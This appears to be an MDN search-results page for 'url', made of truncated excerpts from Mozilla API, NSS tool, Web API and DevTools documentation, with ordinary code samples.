components.utils.import("resource://gre/modules/fxaccountsprofileclient.jsm"); creating a new fxaccountsprofileclient new fxaccountsprofileclient(object options); method overview fetchprofile(); attributes server
url url profiler server
url.
...fxaccountsprofileclient fxaccountsprofileclient( object options string server
url, string token ); parameters server
url - firefox profile server
url.
... examples using the fxaccountsprofileclient chrome code let client = new fxaccountsprofileclient({ server
url: "https://profile.accounts.firefox.com/v1", token: "fxa_oauth_bearer_token", }); client.fetchprofile().then(profile => console.log(profile)); error handling the fxaccountsprofileclient.jsm normalizes request and client errors into fxaccountsprofileclienterror object.
Interfacing with the Add-on Repository
enabling the recommendation feature in current builds of firefox 4, the recommendation api doesn't work because the preference for the
url to query to get recommended add-ons is not included by default; see bug 628785.
... to make the service work for the time being, you can use code like this when your extension starts up: var prefsservice = components.classes["@mozilla.org/preferences-service;1"] .getservice(components.interfaces.nsiprefservice); var prefbranch = prefsservice.getbranch("extensions."); var rec
url = ""; try { rec
url = prefbranch.getcharpref("getaddons.recommended.
url"); } catch(e) { rec
url = ""; } if (rec
url == "") { prefbranch.setcharpref("getaddons.recommended.
url", "https://services.addons.mozilla.org/%locale%/%app%/api/%api_version%/list/recommended/all/%max_results%/%os%/%version%?src=firefox"); prefsservice.savepreffile(null); } this fetches the value of the extensions.getaddons.recommended.
url preference, and, if the preference d...
...the most common cause of failure (other than the search
url preference being incorrect) is if there is already a pending request, since only one request can be in progress at a time.
PopupNotifications.jsm
popupicon
url a string specifying the
url of the image to be displayed in the popup.
... learnmore
url a string
url.
... setting this property will make the prompt display a "learn more" link that, when clicked, opens the
url in a new tab.
SourceMap.jsm
sources: an array of
urls to the original source files.
...the
url root from which all sources are relative.
... sourceroot: an optional root for all relative
urls in this source map.
QA phase
after your new repository is created by the l10n-drivers, please visit the
url for your repo.
...you can do this by entering the following
url into your browser: http://hg.mozilla.org/l10n-central/x-testing now, navigate to your locale's directory on your local machine.
... real
url is http://hg.mozilla.org/l10n-central/x-testing pushing to http://hg.mozilla.org/l10n-central/x-testing searching for changes http authorization required realm: hg.mozilla.org http user: your_id password: after you enter your account information, the changeset will be pushed.
Profiling with the Firefox Profiler
one of the easiest ways to find slowness caused by a page's js is to type its
url into the "filter stacks" box.
... custom annotations in bug 1334218 an annotation was added to presshell::paint to show the
url of the document being painted.
...if you select a different time range, the
url revealed by pressing "permalink" will change so that you can be sure the recipient of the
url will see the same things you are seeing.
Reporting a Performance Problem
visit https://profiler.firefox.com/ click on "enable profiler menu button" the profiler toolbar button will show up in the top right of the
url bar as a small stopwatch icon you can right-click on the button and remove it from the toolbar when you're done with it.
... once uploaded, copy permalink
url to your clipboard by right clicking and add the profile
url to a bug for your performance problem and/or send it to the appropriate person.
... try to give some context about what you were doing when the performance problem arose such as the
url you were viewing and what actions were you doing (ex.
L20n Javascript API
ctx.addresource('<hello "hello, world!">'); ctx.linkresource(uri: string) add a resource identified by a
url to the context instance.
... ctx.linkresource('../locale/strings.l20n'); ctx.linkresource(template: function) add a resource identified by a
url to the context instance.
... the
url is constructed dynamically when you call requestlocales.
NSS_3.12_release_notes.html
56: certutil and pp do not print all the generalnames in a crldp extension bug 398019: correct confusing and erroneous comments in der_asciitotime bug 422866: vfychain -pp command crashes in nss_shutdown bug 345779: useless assignment statements in ec_gf2m_pt_mul_mont bug 349011: please stop exporting these crmf_ symbols bug 397178: crash when entering chrome://pippki/content/resetpassword.xul in
url bar bug 403822: pkix_pl_ocsprequest_create can leave some members uninitialized bug 403910: cert_findusercertbyusage() returns wrong certificate if multiple certs with same subject available bug 404919: memory leak in sftkdb_readsecmoddb() (sftkmod.c) bug 406120: allow application to specify ocsp timeout bug 361025: support for camellia cipher suites to tls rfc4132 bug 376417: pk11_generatekeypa...
...bug 384926: libpkix build problems bug 389411: mingw build error - undefined reference to `_imp__pkix_errornames' bug 389904: avoid multiple decoding/encoding while creating and using pkix_pl_x500name bug 390209: pkix aia manager tries to get certs using aia
url with ocsp access method bug 390233: umbrella bug for libpkix cert validation failures discovered from running vfyserv bug 390499: libpkix does not check cached cert chain for revocation bug 390502: libpkix fails cert validation when no valid crl (nist validation policy is always enforced) bug 390530: libpkix does not support time override bug 390536: cert validation functions must validate leaf c...
...sh [[@ nsc_digestkey] dereferencing possibly null att bug 343231: certutil issues certs for invalid requests bug 353371: klocwork 91117 - null pointer dereference in cert_certchainfromcert bug 353374: klocwork 76494 - null ptr derefs in cert_formatname bug 353375: klocwork 76513 - null ptr deref in nsscertificatelist_docallback bug 353413: klocwork 76541 free uninitialized pointer in cert_findcert
urlextension bug 353416: klocwork 76593 null ptr deref in nsscryptokiprivatekey_setcertificate bug 353423: klocwork bugs in nss/lib/pk11wrap/dev3hack.c bug 353739: klocwork null ptr dereferences in instance.c bug 353741: klocwork cascading memory leak in mpp_make_prime bug 353742: klocwork null ptr dereference in ocsp_decoderesponsebytes bug 353748: klocwork null ptr dereferences in pki3hack.c bug 35...
NSS tools : crlutil
this option is obsolete -u
url specify the
url.
... * creating or modifying a crl: crlutil -g|-m -c crl-gen-file -n nickname [-i crl] [-u
url] [-d keydir] [-p dbprefix] [-l alg] [-a] [-b] * listing all crls or a named crl: crlutil -l [-n crl-name] [-d krydir] * deleting crl from db: crlutil -d -n nickname [-d keydir] [-p dbprefix] * erasing crls from db: crlutil -e [-d keydir] [-p dbprefix] * deleting crl from db: crlutil -d -n nickname [-d keydir] [-p dbprefix] * erasing crls from db: crlutil -e [-d keydir] [-p dbp...
...refix] * import crl from file: crlutil -i -i crl [-t crltype] [-u
url] [-d keydir] [-p dbprefix] [-b] see also certutil(1) see also additional resources nss is maintained in conjunction with pki and security-related projects through mozilla dn fedora.
NSS tools : crlutil
this option is obsolete -u
url specify the
url.
... * creating or modifying a crl: crlutil -g|-m -c crl-gen-file -n nickname [-i crl] [-u
url] [-d keydir] [-p dbprefix] [-l alg] [-a] [-b] * listing all crls or a named crl: crlutil -l [-n crl-name] [-d krydir] * deleting crl from db: crlutil -d -n nickname [-d keydir] [-p dbprefix] * erasing crls from db: crlutil -e [-d keydir] [-p dbprefix] * deleting crl from db: crlutil -d -n nickname [-d keydir] [-p dbprefix] * erasi...
...ng crls from db: crlutil -e [-d keydir] [-p dbprefix] * import crl from file: crlutil -i -i crl [-t crltype] [-u
url] [-d keydir] [-p dbprefix] [-b] see also certutil(1) see also additional resources nss is maintained in conjunction with pki and security-related projects through mozilla dn fedora.
JS::Compile
filename const char * name of file or
url containing the function.
... used to report filename or
url in error messages.
... filename is the name of the file (or
url) containing the script.
JS::Evaluate
filename const char * name of file or
url containing the script.
... used to report filename or
url in error messages.
... filename is the name of the file (or
url) containing the script.
Shell global objects
sourcemap
url if present with value v, convert v to a string, and provide that as the code's source map
url.
... if omitted, attach no source map
url to the code (although the code may provide one itself, via a //#sourcemapping
url comment).
...hook gets passed the requested code's
url, and should return a string.
Setting up an update server
<?xml version="1.0" encoding="utf-8"?> <updates> <update type="minor" displayversion="2000.0a1" appversion="2000.0a1" platformversion="2000.0a1" buildid="21181002100236"> <patch type="complete"
url="http://127.0.0.1:8000/<mar name>" hashfunction="sha512" hashvalue="<hash>" size="<size>"/> </update> </updates> if you've downloaded the mar you're using, you'll find the sha512 value in a file called sha512sums in the root of the release directory on archive.mozilla.org for a release or beta build (you'll have to search it for the file name of your mar, since it includes the sha512 for eve...
... next, you need to change the update
url to point to the local xml file.
... windows/linux: <install dir>/distribution/policies.json macos: <install dir>/contents/resources/distribution/policies.json create the distribution directory, if necessary, and put this in policies.json: { "policies": { "appupdate
url": "http://127.0.0.1:8000/update.xml" } } now you are ready to update!
imgILoader
inherits from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) implemented by @mozilla.org/image/loader;1 as a service: var imgiloader = components.classes["@mozilla.org/image/loader;1"] .getservice(components.interfaces.imgiloader); method overview imgirequest loadimage(in nsiuri auri, in nsiuri ainitialdocument
url, in nsiuri areferreruri, in nsiprincipal aloadingprincipal, in nsiloadgroup aloadgroup, in imgidecoderobserver aobserver, in nsisupports acx, in nsloadflags aloadflags, in nsisupports cachekey, in imgirequest arequest, in nsichannelpolicy channelpolicy); imgirequest loadimagewithchannel(in nsichannel achannel, in imgidecoderobserver aobserver, in nsisupports cx, out nsistreamlistener alistener)...
...imgirequest loadimage( in nsiuri auri, in nsiuri ainitialdocument
url, in nsiuri areferreruri, in nsiprincipal aloadingprincipal, in nsiloadgroup aloadgroup, in imgidecoderobserver aobserver, in nsisupports acx, in nsloadflags aloadflags, in nsisupports cachekey, in imgirequest arequest, in nsichannelpolicy channelpolicy ); parameters auri the uri to load.
... ainitialdocument
url areferreruri the 'referring' uri.
nsIAlertsService
implemented by: @mozilla.org/alerts-service;1 as a service: var alertsservice = components.classes["@mozilla.org/alerts-service;1"] .getservice(components.interfaces.nsialertsservice); method overview void showalertnotification(in astring image
url, in astring title, in astring text, [optional] in boolean textclickable, [optional] in astring cookie, [optional] in nsiobserver alertlistener, [optional] in astring name, [optional] in astring dir, [optional] in astring lang, [optional] in astring data, [optional] in nsiprincipal principal,[optional] in boolean inprivatebrowsing); void closealert([optional] in astring name, [optional] i...
... void showalertnotification( in astring image
url, in astring title, in astring text, in boolean textclickable, optional in astring cookie, optional in nsiobserver alertlistener, optional in astring name, optional in astring dir, optional in astring lang, optional in astring data, optional in nsiprincipal principal, optional in boolean inprivatebrowsing, optional ); parameters image
url a
url identifying the image to display in the notification alert.
...if true, the image
url will be loaded in private browsing mode.
nsIAppShellService
boolean createstartupstate(in long awindowwidth, in long awindowheight); obsolete since gecko 1.8 nsixulwindow createtoplevelwindow(in nsixulwindow aparent, in nsiuri a
url, in pruint32 achromemask, in long ainitialwidth, in long ainitialheight, in nsiappshell aappshell); nsiwebnav createwindowlessbrowser (in bool aischrome) void destroyhiddenwindow(); void doprofilestartup(in nsicmdlineservice acmdlineservice, in boolean caninteract); obsolete since gecko 1.8 void ensure1window(in nsicmdlineservice acmdlineservice); obsolete sin...
... nsixulwindow createtoplevelwindow( in nsixulwindow aparent, in nsiuri a
url, in boolean ashowwindow, in boolean aloaddefaultpage, in pruint32 achromemask, in long ainitialwidth, in long ainitialheight, in nsiappshell aappshell ); parameters aparent the parent window.
... a
url the contents of the new window.
nsICRLManager
string computenextautoupdatetime(in nsicrlinfo info, in unsigned long autoupdatetype, in double noofdays); void deletecrl(in unsigned long crlindex); nsiarray getcrls(); void importcrl([array, size_is(length)] in octet data, in unsigned long length, in nsiuri uri, in unsigned long type, in boolean dosilentdownload, in wstring crlkey); void reschedulecrlautoupdate(); boolean updatecrlfrom
url(in wstring
url, in wstring key); constants constant value description type_autoupdate_time_based 1 type_autoupdate_freq_based 2 methods computenextautoupdatetime() wstring computenextautoupdatetime( in nsicrlinfo info, in unsigned long autoupdatetype, in double noofdays ); parameters info autoupdatetype noofdays return value deletecrl() delete the crl.
...updatecrlfrom
url() update an existing crl from the last fetched
url.
...boolean updatecrlfrom
url( in wstring
url, in wstring key ); parameters
url key return value ...
nsIChromeFrameMessageManager
1.0 66 introduced gecko 2.0 inherits from: nsiframemessagemanager last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void loadframescript(in astring a
url, in boolean aallowdelayedload); void removedelayedframescript(in astring a
url); methods loadframescript() loads a script into the remote frame.
... void loadframescript( in astring a
url, in boolean aallowdelayedload ); parameters a
url the
url of the script to load into the frame; this must be an absolute
url, but data:
urls are supported.
...void removedelayedframescript( in astring a
url ); parameters a
url the
url of the script to remove from the list of scripts supporting delayed load.
nsICookieStorage
last changed in gecko 1.7 inherits from: nsisupports method overview void getcookie(in string acookie
url, in voidptr acookiebuffer, in pruint32ref acookiesize); void setcookie(in string acookie
url, in constvoidptr acookiebuffer, in unsigned long acookiesize); methods getcookie() retrieves a cookie from the browser's persistent cookie store.
... void getcookie( in string acookie
url, in voidptr acookiebuffer, in pruint32ref acookiesize ); parameters acookie
url url string to look up cookie with..
... void setcookie( in string acookie
url, in constvoidptr acookiebuffer, in unsigned long acookiesize ); parameters acookie
url url string to look up cookie with..
nsIDOMMozNetworkStatsManager
ns_error_not_implmented both appmanifest
url and servicetype are specified at the same time in the networkstatsgetoptions dictionary.
...it contains the following fields: appmanifest
url a string used to filter network stats by app.
... for example, this object might be { appmanifest
url : manifest
url }.
nsIDOMWindowInternal
if the name doesn't exist, then a new window is opened and the specified resource is loaded into its browsing context.">open(in domstring
url, in domstring name, in domstring options) nsidomwindow nsisupports aextraargument) void close() void updatecommands(in domstring action) boolean find([optional] in domstring str,[optional] in boolean casesensitive, [optional] in boolean backwards, [optional] in boolean wraparound, [optional] in boolean wholeword, [optional] in boolean searchinframes, [optional...
... location nsidomlocation readonly: returns a nsidomlocation object, which contains information about the
url of the document.
...
url nsidommoz
urlproperty readonly: a dom
url object, which provides the window.
url.createobject
url() and window.
url.revokeobject
url() methods.
nsIGlobalHistory
66 introduced gecko 1.0 deprecated gecko 2.0 obsolete gecko 15.0 inherits from: nsisupports last changed in gecko 1.7 method overview void addpage(in string a
url); boolean isvisited(in string a
url); methods addpage() add a page to the history.
... void addpage( in string a
url ); parameters a
url the
url to the page.
...boolean isvisited( in string a
url ); parameters a
url the
url to the page.
nsIHTMLEditor
; void setcaretafterelement(in nsidomelement aelement); void setcssinlineproperty(in nsiatom aproperty, in astring aattribute, in astring avalue); void setdocumenttitle(in astring atitle); void setinlineproperty(in nsiatom aproperty, in astring aattribute, in astring avalue); void setparagraphformat(in astring aparagraphformat); void updatebase
url(); attributes attribute type description iscssenabled boolean a boolean which is true is the htmleditor has been instantiated with css knowledge and if the css pref is currently checked.
... void setparagraphformat( in astring aparagraphformat ); parameters aparagraphformat "p", "h1" to "h6", "address", "pre", or "blockquote" updatebase
url() set the base
url for the document to the current
url but only if the page doesn't have a <base> tag this should be done after the document
url has changed, such as after saving a file this is used as base for relativizing link and image
urls.
... void updatebase
url(); parameters none.
nsIHTTPHeaderListener
modules/plugin/base/public/nsihttpheaderlistener.idlscriptable this interface allows plugin authors to access http response headers after issuing an nsipluginhost.get
url or nsipluginhost.post
url call.
... inherits from: nsisupports last changed in gecko 1.9 (firefox 3) note: the plugin author must provide an instance to {get
url,post
url}() that implements both nsipluginstreamlistener and nsihttpheaderlistener.
... this instance is passed in through {get
url,post
url}()'s streamlistener parameter.
Using nsILoginManager
an nsilogininfo object contains the following attributes: hostname, form submit
url, http realm, username, username field, password, and password field.
...defining an nsilogininfo object is simple: var nslogininfo = new components.constructor( "@mozilla.org/login-manager/logininfo;1", components.interfaces.nsilogininfo, "init" ); var logininfo = new nslogininfo( hostname, formsubmit
url, httprealm, username, password, usernamefield, passwordfield ); examples creating a login for a web page var formlogininfo = new nslogininfo( 'http://www.example.com', 'http://login.example.com', null, 'joe', 'secret123', 'uname', 'pword' ); this login would correspond to a html form such as: <form action="http://login.example.com/foo/authenticate.cgi"> <div>please log in.</div> <...
...ed server: apache/1.3.27 www-authenticate: basic realm="exampleco login" creating a local extension login var extlogininfo = new nslogininfo( 'chrome://firefoo', null, 'user registration', 'bob', '123secret', "", "" ); from a component creating a new info block is done slightly differently: var nslogininfo = new constructor("@org/manager/ci.init"); var extlogininfo = new aformsubmit
url, ausername, ausernamefield, ...
nsIMsgIncomingServer
charvalue(in string attr); nsilocalfile getfilevalue(in string relpref, in string abspref); nsimsgfilterlist getfilterlist(in nsimsgwindow amsgwindow); long getintattribute(in string name); long getintvalue(in string attr); nsimsgfolder getmsgfolderfromuri(in nsimsgfolder afolderresource, in acstring auri); void getnewmessages(in nsimsgfolder afolder, in nsimsgwindow amsgwindow, in nsi
urllistener a
urllistener); acstring getpasswordwithui(in astring apromptstring, in astring aprompttitle, in nsimsgwindow amsgwindow, out boolean okayvalue); astring getunicharattribute(in string name); astring getunicharvalue(in string attr); boolean isnewhdrduplicate(in nsimsgdbhdr anewhdr); void onuserorhostnamechanged(in acstring oldname, in acstring newname); void performbiff(in nsi...
...used to construct
urls.
...sing description getmsgfolderfromuri() nsimsgfolder getmsgfolderfromuri( in nsimsgfolder afolderresource, in acstring auri ); parameters afolderresource missing description auri missing description return value missing description exceptions thrown missing exception missing description getnewmessages() void getnewmessages( in nsimsgfolder afolder, in nsimsgwindow amsgwindow, in nsi
urllistener a
urllistener ); parameters afolder missing description amsgwindow missing description a
urllistener missing description exceptions thrown missing exception missing description getpasswordwithui() acstring getpasswordwithui( in astring apromptstring, in astring aprompttitle, in nsimsgwindow amsgwindow, out boolean okayvalue ); parameters apromptstring missing description apro...
nsIPushService
void subscribe( in domstring scope, in nsiprincipal principal, in nsipushsubscriptioncallback callback ); parameters scope the serviceworkerregistration.scope for a service worker subscription, or a unique
url (for example, chrome://my-module/push) for a system subscription.
... void getsubscription( in domstring scope, in nsiprincipal principal, in nsipushsubscriptioncallback callback ); parameters scope the unique scope
url, as passed to nsipushservice.subscribe().
... void unsubscribe( in domstring scope, in nsiprincipal principal, in nsiunsubscriberesultcallback callback ); parameters scope the unique scope
url, as passed to nsipushservice.subscribe().
nsIPushSubscription
inherits from: nsisupports last changed in gecko 46.0 (firefox 46.0 / thunderbird 46.0 / seamonkey 2.43) each subscription is associated with a unique
url generated by the push service.
... sending a post request to this
url routes the message to the instance of firefox that created the subscription.
... method overview void getkey(in domstring name, [optional] out uint32_t keylen, [array, size_is(keylen), retval] out uint8_t key); bool quotaapplies(); bool isexpired(); attributes attribute type description endpoint domstring the subscription
url.
nsISearchEngine
searchform astring a
url string pointing to the engine's search form.
... responsetype since an engine can have several different request
urls, differentiated by response types, this parameter selects a request to add parameters to.
... return value returns true if the engine spec has a
url with the given responsetype, false otherwise.
nsISound
to use this interface, use: var sound = components.classes["@mozilla.org/sound;1"] .createinstance(components.interfaces.nsisound); method overview void beep(); void init(); void play(in nsi
url a
url); void playeventsound(in unsigned long aeventid); void playsystemsound(in astring soundalias); constants sound event constants constant value description event_new_mail_received 0 the system receives email.
...play() plays a sound specified by
url.
... void play( in nsi
url a
url ); parameters a
url the
url of the sound file to play.
nsIStringBundleOverride
method overview nsisimpleenumerator enumeratekeysinbundle(in autf8string
url); astring getstringfromname(in autf8string
url, in acstring key); methods enumeratekeysinbundle() get all override keys for a given string bundle.
... nsisimpleenumerator enumeratekeysinbundle( in autf8string
url ); parameters
url the
url of the original string bundle whose keys are to be overridden.
...astring getstringfromname( in autf8string
url, in acstring key ); parameters
url the
url of the original string bundle whose keys are to be overridden.
nsIUTF8ConverterService
converturispectoutf8() ensure that aspec (after
url-unescaping it) is encoded in utf-8.
...make sure that all characters outside us-ascii in your input spec are
url-escaped if your spec is not in utf-8 (before
url-escaping) because the presence of non-ascii characters is blindly regarded as an indication that your input spec is in unescaped utf-8 and it will be returned without further processing.
...autf8string converturispectoutf8( in acstring aspec, in string acharset ); parameters aspec an
url-escaped uri spec to ensure its utf8ness.
nsIXMLHttpRequest
application (like a mozilla extension) without using observers: var req = components.classes["@mozilla.org/xmlextras/xmlhttprequest;1"].createinstance(); req.open('post', "http://www.foo.bar:8080/nietzsche.do", true); req.send('your=data&and=more&stuff=here'); example 2 var {cu: utils, cc: classes, ci: instances} = components; cu.import('resource://gre/modules/services.jsm'); function xhr(
url, cb) { let xhr = cc["@mozilla.org/xmlextras/xmlhttprequest;1"].createinstance(ci.nsixmlhttprequest); let handler = ev => { evf(m => xhr.removeeventlistener(m, handler, !1)); switch (ev.type) { case 'load': if (xhr.status == 200) { cb(xhr.response); break; } default: ...
... services.prompt.alert(null, 'xhr error', 'error fetching package: ' + xhr.statustext + ' [' + ev.type + ':' + xhr.status + ']'); break; } }; let evf = f => ['load', 'error', 'abort'].foreach(f); evf(m => xhr.addeventlistener(m, handler, false)); xhr.mozbackgroundrequest = true; xhr.open('get',
url, true); xhr.channel.loadflags |= ci.nsirequest.load_anonymous | ci.nsirequest.load_bypass_cache | ci.nsirequest.inhibit_persistent_caching; xhr.responsetype = "arraybuffer"; //dont set it, so it returns string, you dont want arraybuffer.
... you only want this if your
url is to a zip file or some file you want to download and make a nsiarraybufferinputstream out of it or something xhr.send(null); } xhr('https://www.gravatar.com/avatar/eb9895ade1bd6627e054429d1e18b576?s=24&d=identicon&r=pg&f=1', data => { services.prompt.alert(null, 'xhr success', data); var file = os.path.join(os.constants.path.desktopdir, "test.png"); var promised = os.file.writeatomic(file, new uint8array(data)); promised.then( function() { alert('succesfully saved image to desktop') }, function(ex) { alert('failed in saving image to desktop') } ); }); ...
nsPIPromptService
method overview void dodialog(in nsidomwindow aparent, in nsidialogparamblock aparamblock, in string achrome
url); methods dodialog() opens a dialog.
... void dodialog( in nsidomwindow aparent, in nsidialogparamblock aparamblock, in string achrome
url ); parameters aparent the parent window of the dialog.
...achrome
url the
url of the dialog implementation.
XPCOM Interface Reference
idroppedlinkitemnsidynamiccontainernsieditornsieditorboxobjectnsieditordocshellnsieditorimesupportnsieditorloggingnsieditormailsupportnsieditorobservernsieditorspellchecknsieffectivetldservicensienumeratornsienvironmentnsierrorservicensieventlistenerinfonsieventlistenerservicensieventsourcensieventtargetnsiexceptionnsiextensionmanagernsiexternalhelperappservicensiexternalprotocolservicensiexternal
urlhandlerservicensiftpchannelnsiftpeventsinknsifactorynsifavicondatacallbacknsifaviconservicensifeednsifeedcontainernsifeedelementbasensifeedentrynsifeedgeneratornsifeedpersonnsifeedprocessornsifeedprogresslistenernsifeedresultnsifeedresultlistenernsifeedtextconstructnsifilensifileinputstreamnsifileoutputstreamnsifilepickernsifileprotocolhandlernsifilespecnsifilestreamsnsifile
urlnsifileutilitiesnsif...
...nsiselectionnsiselection2nsiselection3nsiselectioncontrollernsiselectionimageservicensiselectionprivatensiserversocketnsiserversocketlistenernsiservicemanagernsisessionstartupnsisessionstorensisimpleenumeratornsismsdatabaseservicensismsrequestmanagernsismsservicensisocketprovidernsisocketproviderservicensisockettransportnsisockettransportservicensisoundnsispeculativeconnectnsistackframensistandard
urlnsistreamconverternsistreamlistenernsistringbundlensistringbundleoverridensistringbundleservicensistringenumeratornsistructuredclonecontainernsistylesheetservicensisupportsnsisupports proxiesnsisupportsarraynsisupportscstringnsisupportscharnsisupportsdoublensisupportsfloatnsisupportsidnsisupportsinterfacepointernsisupportsprboolnsisupportsprint16nsisupportsprint32nsisupportsprint64nsisupportsprtim...
...ernsithreadpoolnsithreadpoollistenernsitimernsitimercallbacknsitoolkitnsitoolkitprofilensitoolkitprofileservicensitraceablechannelnsitransactionnsitransactionlistnsitransactionlistenernsitransactionmanagernsitransferablensitransportnsitransporteventsinknsitransportsecurityinfonsitreeboxobjectnsitreecolumnnsitreecolumnsnsitreecontentviewnsitreeselectionnsitreeviewnsiurinsiurifixupnsiurifixupinfonsi
urlnsi
urlformatternsi
urlparsernsiutf8converterservicensiutf8stringenumeratornsiuuidgeneratornsiupdatensiupdatechecklistenernsiupdatecheckernsiupdateitemnsiupdatemanagernsiupdatepatchnsiupdatepromptnsiupdatetimermanagernsiuploadchannelnsiuploadchannel2nsi
urllistmanagercallbacknsiusercertpickernsiuserinfonsivariantnsiversioncomparatornsiweakreferencensiwebbrowsernsiwebbrowserchromensiwebbrowserchrome2n...
Filelink Providers
a provider implementation can choose what information it gets from the user from the setup dialog by pointing the settings
url attribute of their nsimsgcloudfileprovider implementation to a chrome
url for an xhtml page that contains a form with the extra information.
... that
url is then loaded into an iframe directly beneath the provider menulist.
... the content to the right of the menulist is an iframe, pointed at a
url read from the providers management
url attribute, which should point to an xhtml page.
Working with windows in chrome code
here is helper function that will package the data correctly and pass it to the newly opened window: function opendialog(parentwindow,
url, windowname, features) { var array = components.classes["@mozilla.org/array;1"] .createinstance(components.interfaces.nsimutablearray); for (var i = 4; i < arguments.length; i++) { var variant = components.classes["@mozilla.org/variant;1"] .createinstance(components.interfaces.nsiwritablevariant); variant.setfromvar...
...iant(arguments[i]); array.appendelement(variant, false); } var watcher = components.classes["@mozilla.org/embedcomp/window-watcher;1"] .getservice(components.interfaces.nsiwindowwatcher); return watcher.openwindow(parentwindow,
url, windowname, features, array); } the function almost works the same as window.opendialog but accepts an optional parent window as first parameter.
... // in the calling code var args = { param1: true, param2: 42 }; args.wrappedjsobject = args; var watcher = components.classes["@mozilla.org/embedcomp/window-watcher;1"] .getservice(components.interfaces.nsiwindowwatcher); watcher.openwindow(null,
url, windowname, features, args); // in the window code var args = window.arguments[0].wrappedjsobject; this uses the wrappedjsobject trick.
Initialization and Destruction - Plugins
0" width="100" loop="true"> with the embed element in the example, the browser passes the values in argv to the plug-in instance: argc = 4 argn = { "src", "height", "width", "loop" } argv = { "movie.avi", "100", "100", "true" } the saved parameter allows an instance of a plug-in to save its data and, when the instance is destroyed, pass the data to the next instance of the plug-in at the same
url.
... the plug-in can use the optional save parameter to save data for reuse by a new instance with the same
url.
... in npp_destroy, the save parameter specifies state or other information to save for reuse by a new instance with the same
url.
Set an XHR breakpoint - Firefox Developer Tools
you can break on all requests or on those that include a specific
url.
... to turn on the feature: open the debugger click on "pause on any
url" which acts as a wild card, causing the code to pause on any call, or, click the plus sign next to the xhr breakpoints header, enter the
url in which you are interested, and press enter.
... note: if you enter a key word instead of a
url, code execution will pause on any call to a
url that contains that keyword.
Debugger.Frame - Firefox Developer Tools
the eval method recognizes the following properties:
url the filename or
url to which we should attributecode.
... if this property is omitted, the
url defaults to "debugger eval code".
... linenumber the line number at which the evaluated code should be claimed to begin within
url.
Migrating from Firebug - Firefox Developer Tools
download firefox developer edition general activation firebug's activation is
url based respecting the same origin policy.
...it is currently missing the preview for html, xml and svg, though, which is tracked in bug 1247392 and bug 1262796, but when you click on the
url of the request you switch to the network monitor, which has a preview tab.
...dynamically generated scripts are only listed there when they are named via a //# source
url comment.
Examine and edit HTML - Firefox Developer Tools
subtree modification attribute modification node removal use in console show dom properties show accessibility properties change pseudo-class hover active focus focus-within visited screenshot node scroll into view copy inner html outer html css selector css path xpath image data-
url attribute paste inner html outer html before after as first child as last child expand all collapse all open link in new tab * open file in debugger * open file in style-editor * copy link address * * these options only appear in certain contexts, for example the "open file in style-editor" option only appears when you context-click over the top of a lin...
... (copy) image data-
url copy image as a data://
url, if the selected element is an image.
... copy link address (only when invoked over a
url) copy the
url.
Body.blob() - Web APIs
note: if the response has a response.type of "opaque", the resulting blob will have a blob.size of 0 and a blob.type of empty string "", which renders it useless for methods like
url.createobject
url.
...when the fetch is successful, we read a blob out of the response using blob(), put it into an object
url using
url.createobject
url, and then set that
url as the source of an <img> element to display the image.
... var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest) .then(response => response.blob()) .then(function(myblob) { var object
url =
url.createobject
url(myblob); myimage.src = object
url; }); specifications specification status comment fetchthe definition of 'blob()' in that specification.
Cache.delete() - Web APIs
this can be a request object or a
url.
...the available options are: ignoresearch: a boolean that specifies whether the matching process should ignore the query string in the
url.
... in other words, if the
url matches you will get a match regardless of whether the response object has a vary header.
Cache.matchAll() - Web APIs
this can be a request object or a
url.
...the available options are: ignoresearch: a boolean that specifies whether the matching process should ignore the query string in the
url.
...if the
url matches you will get a match regardless of the response object having a vary header or not.
Cache.put() - Web APIs
fetch(
url).then(function(response) { if (!response.ok) { throw new typeerror('bad response status'); } return cache.put(
url, response); }) note: put() will overwrite any key/value pair previously stored in the cache that matches the request.
... syntax cache.put(request, response).then(function() { // request/response pair has been added to the cache }); parameters request the request object or
url that you want to add to the cache.
... note: the promise will reject with a typeerror if the
url scheme is not http or https.
CacheStorage - Web APIs
async function getdata() { const cacheversion = 1; const cachename = `myapp-${ cacheversion }`; const
url = 'https://jsonplaceholder.typicode.com/todos/1'; let cacheddata = await getcacheddata( cachename,
url ); if ( cacheddata ) { console.log( 'retrieved cached data' ); return cacheddata; } console.log( 'fetching fresh data' ); const cachestorage = await caches.open( cachename ); await cachestorage.add(
url ); cacheddata = await getcacheddata( cachena...
...me,
url ); await deleteoldcaches( cachename ); return cacheddata; } // get data from the cache.
... async function getcacheddata( cachename,
url ) { const cachestorage = await caches.open( cachename ); const cachedresponse = await cachestorage.match(
url ); if ( !
Pixel manipulation with canvas - Web APIs
erx; var y = event.layery; zoomctx.drawimage(canvas, math.min(math.max(0, x - 5), img.width - 10), math.min(math.max(0, y - 5), img.height - 10), 10, 10, 0, 0, 200, 200); }; canvas.addeventlistener('mousemove', zoom); } saving images the htmlcanvaselement provides a todata
url() method, which is useful when saving images.
...see security and tainted canvases in allowing cross-origin use of images and canvas canvas.todata
url('image/png') default setting.
... canvas.todata
url('image/jpeg', quality) creates a jpg image.
ContentIndex.getAll() - Web APIs
url: a string containing the
url of the corresponding html document.
... homepage article video audio icons: optional an array of image resources, defined as an object with the following data: src: a
url string of the source image.
...readinglistelem.append(message); } else { // if entries are present, display in a list of links to the content const listelem = document.createelement('ul'); for (const entry of entries) { const listitem = document.createelement('li'); const anchorelem = document.createelement('a'); anchorelem.innertext = entry.title; anchorelem.setattribute('href', entry.
url); listelem.append(listitem); } readinglistelem.append(listelem); } } specifications specification status comment unknownthe definition of 'getall' in that specification.
Introduction to the File and Directory Entries API - Web APIs
the asynchronous api has the following global methods: requestfilesystem() and resolvelocalfilesystem
url().
...the synchronous api, on the other hand, uses the following methods: requestfilesystemsync() and resolvelocalfilesystemsync
url().
... the file and directory entries api adheres to the same-origin policy the file and directory entries api does not let you create and rename executable files the file system is sandboxed you cannot run your app from file:// the file and directory entries api adheres to the same-origin policy an origin is the domain, application layer protocol, and port of a
url of the document where the script is being executed.
Audio() - Web APIs
syntax audioobj = new audio(
url); parameters
url optional an optional domstring containing the
url of an audio file to be associated with the new audio element.
... return value a new htmlaudioelement object, configured to be used for playing back the audio from the file specified by
url.the new object's preload property is set to auto and its src property is set to the specified
url or null if no
url is given.
... if a
url is specified, the browser begins to asynchronously load the media resource before returning the new object.
